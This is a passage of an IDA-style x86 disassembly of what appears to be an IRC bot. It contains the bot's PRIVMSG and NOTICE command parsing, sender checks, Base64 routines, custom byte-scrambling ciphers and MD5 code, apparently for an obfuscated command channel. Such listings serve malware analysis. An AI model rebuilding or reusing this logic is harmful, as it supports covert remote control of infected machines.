jnz short loc_409F3F
inc eax
jmp short loc_409F37
; ---------------------------------------------------------------------------
loc_409F3F: ; CODE XREF: sub_409918+622j
push eax
lea eax, [ebp+var_2BC]
push dword ptr [esi+0Ch]
push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
push 200h
push eax
call sub_41152E ; _snprintf
lea eax, [ebp+var_2BC]
push eax
call sub_40A236
lea eax, [ebp+arg_4]
push eax
push edi
push 0
call sub_405E4F
add esp, 24h
jmp short loc_409F2F
; ---------------------------------------------------------------------------
loc_409F76: ; CODE XREF: sub_409918+587j
cmp [ebp+arg_0], 0
jz loc_40A231
cmp dword ptr [esi+8], 0
jz loc_40A231
cmp dword ptr [esi+0Ch], 0
lea ebx, [esi+0Ch]
jz loc_40A231
push offset byte_41A1E8
push [ebp+arg_4]
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jz loc_40A231
mov eax, [ebp+arg_10]
inc dword ptr [ebx]
add eax, 0Ch
push offset aPrivmsg ; "PRIVMSG"
mov [ebp+var_14], eax
inc dword ptr [eax]
push dword ptr [esi+4]
call sub_411924 ; _strcmpi
pop ecx
pop ecx
push 3
test eax, eax
pop edi
jnz short loc_409FE7
mov eax, [ebx]
cmp byte ptr [eax], 1
jz short loc_40A005
mov eax, [esi+8]
and [ebp+var_4], 0
mov [ebp+arg_0], eax
jmp loc_40A093
; ---------------------------------------------------------------------------
loc_409FE7: ; CODE XREF: sub_409918+6B7j
push offset aNotice ; "NOTICE"
push dword ptr [esi+4]
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz loc_40A231
mov eax, [ebx]
cmp byte ptr [eax], 1
jnz short loc_40A04A
loc_40A005: ; CODE XREF: sub_409918+6BEj
mov ecx, [ebp+arg_4]
inc eax
mov [ebx], eax
mov eax, [ebp+var_14]
mov [ebp+var_4], edi
xor edi, edi
inc dword ptr [eax]
cmp [esi], edi
mov [ebp+arg_0], ecx
jz short loc_40A073
mov [ebp+arg_C], esi
loc_40A01F: ; CODE XREF: sub_409918+72Ej
cmp edi, 0Fh
jz short loc_40A073
mov eax, [ebp+arg_C]
push dword ptr [eax]
call sub_4114BE ; strlen
pop ecx
mov ecx, [ebp+arg_C]
mov ecx, [ecx]
cmp byte ptr [ecx+eax-1], 1
jz short loc_40A059
add [ebp+arg_C], 4
inc edi
mov eax, [ebp+arg_C]
cmp dword ptr [eax], 0
jnz short loc_40A01F
jmp short loc_40A073
; ---------------------------------------------------------------------------
loc_40A04A: ; CODE XREF: sub_409918+6EBj
mov eax, [esi+8]
mov [ebp+var_4], 1
mov [ebp+arg_0], eax
jmp short loc_40A093
; ---------------------------------------------------------------------------
loc_40A059: ; CODE XREF: sub_409918+721j
mov ecx, edi
shl ecx, 2
mov edx, [ecx+esi]
and byte ptr [edx+eax-1], 0
mov edx, [ebp+arg_10]
mov ecx, [ecx+edx]
and byte ptr [ecx+eax-1], 0
jmp short loc_40A093
; ---------------------------------------------------------------------------
loc_40A073: ; CODE XREF: sub_409918+702j
; sub_409918+70Aj ...
mov eax, [ebp+arg_10]
shl edi, 2
push dword ptr [edi+eax]
call sub_4114BE ; strlen
pop ecx
mov ecx, [edi+esi]
cmp byte ptr [ecx+eax-1], 1
lea eax, [ecx+eax-1]
jnz short loc_40A093
mov byte ptr [eax], 1
loc_40A093: ; CODE XREF: sub_409918+6CAj
; sub_409918+73Fj ...
push offset byte_41A1E8
push [ebp+arg_0]
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_40A0AC
mov eax, [ebp+arg_4]
mov [ebp+arg_0], eax
loc_40A0AC: ; CODE XREF: sub_409918+78Cj
push 7Ah
lea eax, [ebp+var_338]
push 0
push eax
call sub_4114E8 ; memset
mov eax, [ebp+arg_10]
and [ebp+arg_C], 0
mov edi, [eax]
push edi
mov [ebp+var_18], edi
call sub_4114BE ; strlen
add esp, 10h
cmp eax, 3
mov [ebp+var_10], eax
jb loc_40A182
loc_40A0DD: ; CODE XREF: sub_409918+7FFj
mov cl, [eax+edi-1]
cmp cl, 20h
jnz short loc_40A0E9
dec eax
jmp short loc_40A111
; ---------------------------------------------------------------------------
loc_40A0E9: ; CODE XREF: sub_409918+7CCj
cmp byte ptr [eax+edi-3], 20h
jnz short loc_40A119
cmp byte ptr [eax+edi-2], 2Dh
jnz short loc_40A119
cmp cl, 7Ah
jg short loc_40A119
movsx ecx, cl
mov [ebp+arg_C], 1
sub eax, 3
mov [ebp+ecx+var_338], 1
loc_40A111: ; CODE XREF: sub_409918+7CFj
cmp eax, 3
mov [ebp+var_10], eax
jnb short loc_40A0DD
loc_40A119: ; CODE XREF: sub_409918+7D6j
; sub_409918+7DDj ...
cmp [ebp+arg_C], 0
jz short loc_40A182
mov edi, [ebp+arg_10]
and [ebp+var_C], 0
mov [ebp+var_8], esi
sub [ebp+var_8], edi
loc_40A12C: ; CODE XREF: sub_409918+868j
mov eax, [edi]
test eax, eax
jz short loc_40A182
mov ecx, [ebp+var_10]
mov edx, [ebp+var_18]
add ecx, edx
cmp eax, ecx
jb short loc_40A176
xor ecx, ecx
cmp [ebp+arg_C], ecx
jz short loc_40A163
cmp [ebp+var_C], ecx
jz short loc_40A160
mov eax, [ebp+var_8]
push dword ptr [eax+edi-4]
call sub_4114BE ; strlen
pop ecx
mov ecx, [edi-4]
and byte ptr [eax+ecx], 0
xor ecx, ecx
loc_40A160: ; CODE XREF: sub_409918+830j
mov [ebp+arg_C], ecx
loc_40A163: ; CODE XREF: sub_409918+82Bj
mov eax, [edi]
and byte ptr [eax], 0
mov eax, [ebp+var_8]
add eax, edi
mov edx, [eax]
and byte ptr [edx], 0
mov [edi], ecx
mov [eax], ecx
loc_40A176: ; CODE XREF: sub_409918+824j
inc [ebp+var_C]
add edi, 4
cmp [ebp+var_C], 10h
jb short loc_40A12C
loc_40A182: ; CODE XREF: sub_409918+7BFj
; sub_409918+805j ...
mov edi, offset byte_41A1E8
push edi
push dword ptr [esi+8]
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_40A19C
push [ebp+var_14]
push ebx
jmp short loc_40A216
; ---------------------------------------------------------------------------
loc_40A19C: ; CODE XREF: sub_409918+87Cj
add esi, 10h
cmp dword ptr [esi], 0
jz loc_40A231
push offset asc_415078 ; "*"
push dword ptr [ebx]
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jz short loc_40A20E
push dword ptr [ebx]
push edi
call sub_40790B
pop ecx
test al, al
pop ecx
jnz short loc_40A20E
push dword ptr [ebx]
call sub_4114BE ; strlen
cmp eax, 4
pop ecx
ja short loc_40A231
mov edi, [ebx]
push edi
call sub_4114BE ; strlen
cmp byte ptr [eax+edi-1], 25h
pop ecx
jnz short loc_40A231
push edi
call sub_4114BE ; strlen
mov ecx, [ebx]
and byte ptr [eax+ecx-1], 0
call sub_40B480
push 64h
xor edx, edx
pop ecx
div ecx
push dword ptr [ebx]
mov edi, edx
inc edi
call sub_41151C ; atoi
pop ecx
cmp eax, edi
pop ecx
jl short loc_40A231
loc_40A20E: ; CODE XREF: sub_409918+8A0j
; sub_409918+8AEj
mov eax, [ebp+arg_10]
add eax, 10h
push eax
push esi
loc_40A216: ; CODE XREF: sub_409918+882j
lea eax, [ebp+var_338]
push eax
push [ebp+var_4]
push [ebp+arg_0]
push [ebp+arg_8]
push [ebp+arg_4]
call sub_407A76
add esp, 1Ch
loc_40A231: ; CODE XREF: sub_409918+44j
; sub_409918+5Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_409918 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A236 proc near ; CODE XREF: sub_408D81+70p
; sub_409918+648p ...
var_1184 = byte ptr -1184h
var_184 = byte ptr -184h
var_105 = byte ptr -105h
var_104 = byte ptr -104h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
var_78 = dword ptr -78h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1184h
call sub_411540
push ebx
lea eax, [ebp+var_84]
push 10h
push eax
lea eax, [ebp+var_44]
xor ebx, ebx
push eax
lea eax, [ebp+var_1184]
push eax
mov [ebp+var_4], ebx
push [ebp+arg_0]
call sub_4058EE
push offset a302 ; "302"
push [ebp+var_40]
call sub_411924 ; _strcmpi
add esp, 1Ch
neg eax
sbb eax, eax
inc eax
cmp [ebp+var_44], ebx
mov dword_419D4C, eax
jz loc_40A404
cmp [ebp+var_40], ebx
jz loc_40A404
push esi
push edi
push offset aPrivmsg ; "PRIVMSG"
push [ebp+var_40]
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jz short loc_40A2B9
push offset aNotice ; "NOTICE"
push [ebp+var_40]
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_40A32B
loc_40A2B9: ; CODE XREF: sub_40A236+6Ej
mov eax, [ebp+var_38]
cmp eax, ebx
jz short loc_40A32B
cmp [ebp+var_34], ebx
jnz short loc_40A32B
cmp byte ptr [eax], 3Ah
jnz short loc_40A32B
cmp byte ptr [eax+1], 3Dh
jnz short loc_40A32B
add eax, 2
cmp byte ptr [eax], 0
jz short loc_40A32B
push eax
call sub_40A5D0
test eax, eax
pop ecx
jz short loc_40A32B
mov eax, [ebp+var_38]
lea ecx, [eax+1]
add eax, 2
push ecx
push eax
call sub_40A44E
push eax
mov eax, [ebp+var_38]
inc eax
push eax
call sub_40A82E
mov esi, eax
mov eax, [ebp+var_38]
inc eax
push esi
push eax
call sub_40A7AE
mov eax, [ebp+var_38]
push 0Dh
and byte ptr [esi+eax+1], 0
lea eax, [ebp+var_78]
push eax
lea eax, [ebp+var_38]
push eax
push [ebp+var_78]
push [ebp+var_38]
call sub_4058EE
add esp, 2Ch
loc_40A32B: ; CODE XREF: sub_40A236+81j
; sub_40A236+88j ...
push offset aLinkLink@link ; "link!link@link"
push [ebp+var_44]
call sub_41177E ; strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40A389
cmp off_418E18, ebx
jz short loc_40A390
mov esi, offset off_418E18
mov edi, esi
loc_40A34D: ; CODE XREF: sub_40A236+142j
push dword ptr [edi]
call sub_40B5E1
mov eax, [ebp+var_44]
push dword ptr [edi]
inc eax
push eax
call sub_4078A3
add esp, 0Ch
test al, al
jnz short loc_40A37C
push dword ptr [esi]
call sub_40B5A8
add esi, 4
inc ebx
pop ecx
mov edi, esi
cmp dword ptr [esi], 0
jnz short loc_40A34D
jmp short loc_40A390
; ---------------------------------------------------------------------------
loc_40A37C: ; CODE XREF: sub_40A236+12Fj
push off_418E18[ebx*4]
call sub_40B5A8
pop ecx
loc_40A389: ; CODE XREF: sub_40A236+106j
mov [ebp+var_4], 1
loc_40A390: ; CODE XREF: sub_40A236+10Ej
; sub_40A236+144j
push 1
lea esi, [ebp+var_184]
xor edi, edi
pop eax
dec esi
loc_40A39C: ; CODE XREF: sub_40A236+198j
mov ecx, [ebp+var_44]
add ecx, eax
cmp byte ptr [ecx], 21h
jnz short loc_40A3B1
and [ebp+eax+var_105], 0
push 1
pop edi
loc_40A3B1: ; CODE XREF: sub_40A236+16Ej
test edi, edi
jnz short loc_40A3BE
mov dl, [ecx]
mov [ebp+eax+var_105], dl
loc_40A3BE: ; CODE XREF: sub_40A236+17Dj
mov dl, [ecx]
mov [esi+eax], dl
cmp byte ptr [ecx], 0
jz short loc_40A3D0
inc eax
cmp eax, 80h
jl short loc_40A39C
loc_40A3D0: ; CODE XREF: sub_40A236+190j
lea eax, [ebp+var_84]
and [ebp+var_85], 0
push eax
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_184]
and [ebp+var_105], 0
push eax
lea eax, [ebp+var_104]
push eax
push [ebp+var_4]
call sub_409918
add esp, 14h
pop edi
pop esi
loc_40A404: ; CODE XREF: sub_40A236+4Cj
; sub_40A236+55j
pop ebx
leave
retn
sub_40A236 endp
; =============== S U B R O U T I N E =======================================
sub_40A407 proc near ; CODE XREF: sub_4111E8+249p
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
cmp byte ptr [edi], 0
jz short loc_40A42A
push esi
loc_40A412: ; CODE XREF: sub_40A407+20j
push edi
call sub_405A76
push edi
mov esi, eax
call sub_40A236
cmp byte ptr [esi], 0
pop ecx
pop ecx
mov edi, esi
jnz short loc_40A412
pop esi
loc_40A42A: ; CODE XREF: sub_40A407+8j
pop edi
retn
sub_40A407 endp
; =============== S U B R O U T I N E =======================================
sub_40A42C proc near ; CODE XREF: sub_4111E8+D1p
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_419D50
rep stosd
pop edi
loc_40A43A: ; CODE XREF: sub_40A42C+1Fj
movzx ecx, byte_415194[eax]
mov byte_419D50[ecx], al
inc eax
cmp eax, 40h
jb short loc_40A43A
retn
sub_40A42C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A44E proc near ; CODE XREF: sub_407A76+24Ap
; sub_407A76+8A8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push esi
call sub_4114BE ; strlen
cmp eax, 2
pop ecx
mov [ebp+arg_0], eax
jnb short loc_40A46B
xor eax, eax
jmp loc_40A517
; ---------------------------------------------------------------------------
loc_40A46B: ; CODE XREF: sub_40A44E+14j
push ebx
push edi
push 1
xor edx, edx
xor ecx, ecx
pop edi
loc_40A474: ; CODE XREF: sub_40A44E+BFj
inc edx
cmp edi, [ebp+arg_0]
jnb loc_40A512
movsx ebx, byte ptr [ecx+esi]
mov eax, [ebp+arg_4]
mov bl, byte_419D50[ebx]
shl bl, 2
lea eax, [eax+edx-1]
inc ecx
inc edi
cmp ecx, [ebp+arg_0]
mov [eax], bl
jnb short loc_40A512
movsx ebx, byte ptr [ecx+esi]
mov bl, byte_419D50[ebx]
shr bl, 4
or [eax], bl
inc edx
cmp edi, [ebp+arg_0]
jnb short loc_40A512
movsx ebx, byte ptr [ecx+esi]
mov eax, [ebp+arg_4]
mov bl, byte_419D50[ebx]
shl bl, 4
lea eax, [eax+edx-1]
inc ecx
inc edi
cmp ecx, [ebp+arg_0]
mov [eax], bl
jnb short loc_40A512
movsx ebx, byte ptr [ecx+esi]
mov bl, byte_419D50[ebx]
shr bl, 2
or [eax], bl
inc edx
cmp edi, [ebp+arg_0]
jnb short loc_40A512
movsx ebx, byte ptr [ecx+esi]
mov eax, [ebp+arg_4]
mov bl, byte_419D50[ebx]
shl bl, 6
lea eax, [eax+edx-1]
inc ecx
inc edi
cmp ecx, [ebp+arg_0]
mov [eax], bl
jnb short loc_40A512
movsx ebx, byte ptr [ecx+esi]
mov bl, byte_419D50[ebx]
or [eax], bl
inc ecx
inc edi
jmp loc_40A474
; ---------------------------------------------------------------------------
loc_40A512: ; CODE XREF: sub_40A44E+2Aj
; sub_40A44E+4Bj ...
pop edi
lea eax, [edx-1]
pop ebx
loc_40A517: ; CODE XREF: sub_40A44E+18j
pop esi
pop ebp
retn
sub_40A44E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A51A proc near ; CODE XREF: sub_407A76+1CFp
; sub_407A76+80Ap ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
mov edx, [ebp+arg_4]
push 1
movzx eax, byte ptr [edi]
shr eax, 2
pop esi
mov al, byte_415194[eax]
mov [edx], al
mov cl, [edi]
and cl, 3
mov eax, esi
shl cl, 4
cmp [ebp+arg_8], esi
jz short loc_40A5B7
loc_40A546: ; CODE XREF: sub_40A51A+9Bj
movzx ebx, byte ptr [esi+edi]
movzx ecx, cl
shr ebx, 4
or ebx, ecx
mov cl, byte_415194[ebx]
mov [eax+edx], cl
mov cl, [esi+edi]
and cl, 0Fh
inc eax
shl cl, 2
inc esi
cmp esi, [ebp+arg_8]
jz short loc_40A5B7
movzx ebx, byte ptr [esi+edi]
movzx ecx, cl
shr ebx, 6
or ebx, ecx
mov cl, byte_415194[ebx]
mov [eax+edx], cl
mov cl, [esi+edi]
and ecx, 3Fh
inc eax
mov cl, byte_415194[ecx]
mov [eax+edx], cl
inc eax
inc esi
cmp esi, [ebp+arg_8]
jz short loc_40A5C7
movzx ecx, byte ptr [esi+edi]
shr ecx, 2
mov cl, byte_415194[ecx]
mov [eax+edx], cl
mov cl, [esi+edi]
and cl, 3
inc eax
shl cl, 4
inc esi
cmp esi, [ebp+arg_8]
jnz short loc_40A546
loc_40A5B7: ; CODE XREF: sub_40A51A+2Aj
; sub_40A51A+4Fj
movzx ecx, cl
or ecx, 1
mov cl, byte_415194[ecx]
mov [eax+edx], cl
inc eax
loc_40A5C7: ; CODE XREF: sub_40A51A+7Bj
and byte ptr [eax+edx], 0
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40A51A endp
; =============== S U B R O U T I N E =======================================
sub_40A5D0 proc near ; CODE XREF: sub_407A76+20Fp
; sub_40A236+A3p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
push esi
call sub_4114BE ; strlen
pop ecx
xor ecx, ecx
test eax, eax
jle short loc_40A5FC
loc_40A5E3: ; CODE XREF: sub_40A5D0+2Aj
mov dl, [ecx+esi]
movsx edi, dl
cmp byte_419D50[edi], 0
jnz short loc_40A5F7
cmp dl, 41h
jnz short loc_40A602
loc_40A5F7: ; CODE XREF: sub_40A5D0+20j
inc ecx
cmp ecx, eax
jl short loc_40A5E3
loc_40A5FC: ; CODE XREF: sub_40A5D0+11j
push 1
pop eax
loc_40A5FF: ; CODE XREF: sub_40A5D0+34j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40A602: ; CODE XREF: sub_40A5D0+25j
xor eax, eax
jmp short loc_40A5FF
sub_40A5D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A606 proc near ; CODE XREF: sub_4111E8+E6p
var_58 = byte ptr -58h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 58h
lea eax, [ebp+var_58]
push eax
call sub_40A8A4
push [ebp+arg_4]
lea eax, [ebp+var_58]
push [ebp+arg_0]
push eax
call sub_40A8CC
lea eax, [ebp+var_58]
push eax
push offset byte_419E54
call sub_40A96B
add esp, 18h
lea eax, byte_419E54
push 10h
pop edx
loc_40A63E: ; CODE XREF: sub_40A606+40j
mov cl, [eax]
rol cl, cl
mov [eax], cl
inc eax
dec edx
jnz short loc_40A63E
leave
retn
sub_40A606 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A64A proc near ; CODE XREF: sub_407A76+15p
; sub_40D6E0+F9p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
xor ecx, ecx
xor eax, eax
loc_40A655: ; CODE XREF: sub_40A64A+2Dj
mov cl, [esi]
test ecx, ecx
jz short loc_40A679
cmp ecx, 61h
jb short loc_40A663
sub ecx, 20h
loc_40A663: ; CODE XREF: sub_40A64A+14j
and ecx, 7Fh
add eax, ecx
and ecx, 0Fh
mov cl, byte_419E54[ecx]
add eax, ecx
rol eax, 3
inc esi
jmp short loc_40A655
; ---------------------------------------------------------------------------
loc_40A679: ; CODE XREF: sub_40A64A+Fj
pop esi
pop ebp
retn
sub_40A64A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A67C proc near ; CODE XREF: sub_4111E8+EEp
var_58 = byte ptr -58h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 58h
push esi
lea eax, [ebp+var_58]
push edi
push eax
call sub_40A8A4
push [ebp+arg_4]
lea eax, [ebp+var_58]
push [ebp+arg_0]
push eax
call sub_40A8CC
lea eax, [ebp+var_58]
push eax
push offset dword_419E68
call sub_40A96B
add esp, 18h
lea esi, dword_419E68
mov edi, esi
push 10h
pop ecx
loc_40A6B8: ; CODE XREF: sub_40A67C+44j
lodsb
xor al, 0AAh
add al, al
or al, 1
stosb
loop loc_40A6B8
pop edi
pop esi
leave
retn
sub_40A67C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A6C6 proc near ; CODE XREF: sub_40A798+Dp
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push esi
xor esi, esi
test eax, eax
mov [ebp+var_8], esi
jle short loc_40A72A
push ebx
push edi
push 10h
mov edi, [ebp+arg_8]
cdq
pop ecx
idiv ecx
mov [ebp+var_1], dl
shl [ebp+var_1], 2
loc_40A6EA: ; CODE XREF: sub_40A6C6+60j
mov eax, [ebp+arg_0]
push 10h
lea ecx, [esi+eax]
mov eax, esi
cdq
pop esi
add byte ptr [ecx], 0CDh
idiv esi
movzx eax, byte ptr [edx+edi]
push 10h
pop ebx
lea esi, [edx+edi]
cdq
idiv ebx
mov al, [ecx]
sub al, [edx+edi]
mov [ecx], al
mov dl, [esi]
mov esi, [ebp+var_8]
not dl
xor dl, al
xor dl, [ebp+var_1]
inc dl
inc esi
cmp esi, [ebp+arg_4]
mov [ecx], dl
mov [ebp+var_8], esi
jl short loc_40A6EA
pop edi
pop ebx
loc_40A72A: ; CODE XREF: sub_40A6C6+10j
pop esi
leave
retn
sub_40A6C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A72D proc near ; CODE XREF: sub_40A7AE+Dp
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push edi
xor edi, edi
test eax, eax
mov [ebp+var_8], edi
jle short loc_40A795
push ebx
push esi
push 10h
mov esi, [ebp+arg_8]
cdq
pop ecx
idiv ecx
mov [ebp+var_1], dl
shl [ebp+var_1], 2
loc_40A751: ; CODE XREF: sub_40A72D+64j
mov eax, [ebp+arg_0]
push 10h
lea ecx, [edi+eax]
mov eax, edi
cdq
pop edi
mov bl, [ecx]
idiv edi
dec bl
xor bl, [ebp+var_1]
mov [ecx], bl
mov al, [edx+esi]
not al
xor al, bl
mov byte ptr [ebp+arg_8+3], al
mov [ecx], al
movzx eax, byte ptr [edx+esi]
add edx, esi
cdq
idiv edi
mov edi, [ebp+var_8]
mov al, [edx+esi]
add al, byte ptr [ebp+arg_8+3]
add al, 33h
inc edi
cmp edi, [ebp+arg_4]
mov [ecx], al
mov [ebp+var_8], edi
jl short loc_40A751
pop esi
pop ebx
loc_40A795: ; CODE XREF: sub_40A72D+10j
pop edi
leave
retn
sub_40A72D endp
; =============== S U B R O U T I N E =======================================
sub_40A798 proc near ; CODE XREF: sub_407A76+1AEp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_419E68
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40A6C6
add esp, 0Ch
retn
sub_40A798 endp
; =============== S U B R O U T I N E =======================================
sub_40A7AE proc near ; CODE XREF: sub_407A76+266p
; sub_409918+5CBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_419E68
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40A72D
add esp, 0Ch
retn
sub_40A7AE endp
; =============== S U B R O U T I N E =======================================
sub_40A7C4 proc near ; CODE XREF: sub_407A76+1BBp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
lea esi, [eax+4]
push ebx
push eax
push esi
call sub_4114D0 ; memcpy
add esp, 0Ch
call sub_40B480
xor edi, edi
test ebx, ebx
jle short loc_40A803
loc_40A7E8: ; CODE XREF: sub_40A7C4+3Dj
mov cl, [edi+esi]
push 1
add cl, al
push eax
xor cl, al
mov [edi+esi], cl
call sub_411796 ; _lrotl
add eax, edi
inc edi
pop ecx
cmp edi, ebx
pop ecx
jl short loc_40A7E8
loc_40A803: ; CODE XREF: sub_40A7C4+22j
lea edi, [ebx-1]
loc_40A806: ; CODE XREF: sub_40A7C4+5Ej
cmp edi, 0FFFFFFFFh
jz short loc_40A824
mov cl, [edi+esi]
push 1
add cl, al
push eax
xor cl, al
mov [edi+esi], cl
call sub_411796 ; _lrotl
pop ecx
add eax, edi
pop ecx
dec edi
jmp short loc_40A806
; ---------------------------------------------------------------------------
loc_40A824: ; CODE XREF: sub_40A7C4+45j
mov [esi-4], eax
pop edi
lea eax, [ebx+4]
pop esi
pop ebx
retn
sub_40A7C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A82E proc near ; CODE XREF: sub_407A76+257p
; sub_409918+5BEp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
push esi
mov esi, [ebp+arg_0]
add eax, 0FFFFFFFCh
push edi
mov ebx, [esi]
push eax
lea eax, [esi+4]
push eax
push esi
call sub_4117A2 ; memmove
sub [ebp+arg_4], 4
xor edi, edi
add esp, 0Ch
cmp [ebp+arg_4], edi
jle short loc_40A876
loc_40A858: ; CODE XREF: sub_40A82E+46j
sub ebx, edi
push 1
push ebx
call sub_41179C ; _lrotr
mov ebx, eax
mov al, [edi+esi]
xor al, bl
pop ecx
sub al, bl
pop ecx
mov [edi+esi], al
inc edi
cmp edi, [ebp+arg_4]
jl short loc_40A858
loc_40A876: ; CODE XREF: sub_40A82E+28j
mov eax, [ebp+arg_4]
lea edi, [eax-1]
loc_40A87C: ; CODE XREF: sub_40A82E:loc_40A89Aj
cmp edi, 0FFFFFFFFh
jz short loc_40A89C
sub ebx, edi
push 1
push ebx
call sub_41179C ; _lrotr
mov ebx, eax
mov al, [edi+esi]
xor al, bl
pop ecx
sub al, bl
pop ecx
mov [edi+esi], al
dec edi
loc_40A89A: ; DATA XREF: .packed:00415F24o
; .packed:00415F68o ...
jmp short loc_40A87C
; ---------------------------------------------------------------------------
loc_40A89C: ; CODE XREF: sub_40A82E+51j
mov eax, [ebp+arg_4]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40A82E endp
; =============== S U B R O U T I N E =======================================
sub_40A8A4 proc near ; CODE XREF: sub_40A606+Ap
; sub_40A67C+Cp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword ptr [eax+10h], 0
and dword ptr [eax+14h], 0
mov dword ptr [eax], 67452301h
mov dword ptr [eax+4], 0EFCDAB89h
mov dword ptr [eax+8], 98BADCFEh
mov dword ptr [eax+0Ch], 10325476h
retn
sub_40A8A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A8CC proc near ; CODE XREF: sub_40A606+19p
; sub_40A67C+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push esi
mov esi, [ebp+arg_0]
push edi
mov eax, [esi+10h]
lea ecx, [eax+ebx*8]
cmp ecx, eax
mov [esi+10h], ecx
jnb short loc_40A8E8
inc dword ptr [esi+14h]
loc_40A8E8: ; CODE XREF: sub_40A8CC+17j
mov ecx, ebx
shr ecx, 1Dh
add [esi+14h], ecx
shr eax, 3
and eax, 3Fh
jz short loc_40A928
push 40h
lea ecx, [eax+esi+18h]
pop edi
sub edi, eax
cmp ebx, edi
jnb short loc_40A90C
push ebx
push [ebp+arg_4]
push ecx
jmp short loc_40A95E
; ---------------------------------------------------------------------------
loc_40A90C: ; CODE XREF: sub_40A8CC+37j
push edi
push [ebp+arg_4]
push ecx
call sub_4114D0 ; memcpy
lea eax, [esi+18h]
push eax
push esi
call sub_40AA38
add [ebp+arg_4], edi
add esp, 14h
sub ebx, edi
loc_40A928: ; CODE XREF: sub_40A8CC+2Aj
cmp ebx, 40h
jb short loc_40A956
mov edi, ebx
shr edi, 6
loc_40A932: ; CODE XREF: sub_40A8CC+88j
push 40h
lea eax, [esi+18h]
push [ebp+arg_4]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_4]
push esi
call sub_40AA38
add [ebp+arg_4], 40h
add esp, 14h
sub ebx, 40h
dec edi
jnz short loc_40A932
loc_40A956: ; CODE XREF: sub_40A8CC+5Fj
push ebx
add esi, 18h
push [ebp+arg_4]
push esi
loc_40A95E: ; CODE XREF: sub_40A8CC+3Ej
call sub_4114D0 ; memcpy
add esp, 0Ch
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40A8CC endp
; =============== S U B R O U T I N E =======================================
sub_40A96B proc near ; CODE XREF: sub_40A606+27p
; sub_40A67C+29p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
push edi
push 3Fh
mov eax, [esi+10h]
lea edi, [esi+10h]
shr eax, 3
pop ecx
and eax, ecx
sub ecx, eax
lea edx, [eax+esi+18h]
mov byte ptr [edx], 80h
inc edx
cmp ecx, 8
jnb short loc_40A9B2
push ebx
push ecx
push 0
push edx
call sub_4114E8 ; memset
lea ebx, [esi+18h]
push ebx
push esi
call sub_40AA38
push 38h
push 0
push ebx
call sub_4114E8 ; memset
add esp, 20h
pop ebx
jmp short loc_40A9C1
; ---------------------------------------------------------------------------
loc_40A9B2: ; CODE XREF: sub_40A96B+21j
add ecx, 0FFFFFFF8h
push ecx
push 0
push edx
call sub_4114E8 ; memset
add esp, 0Ch
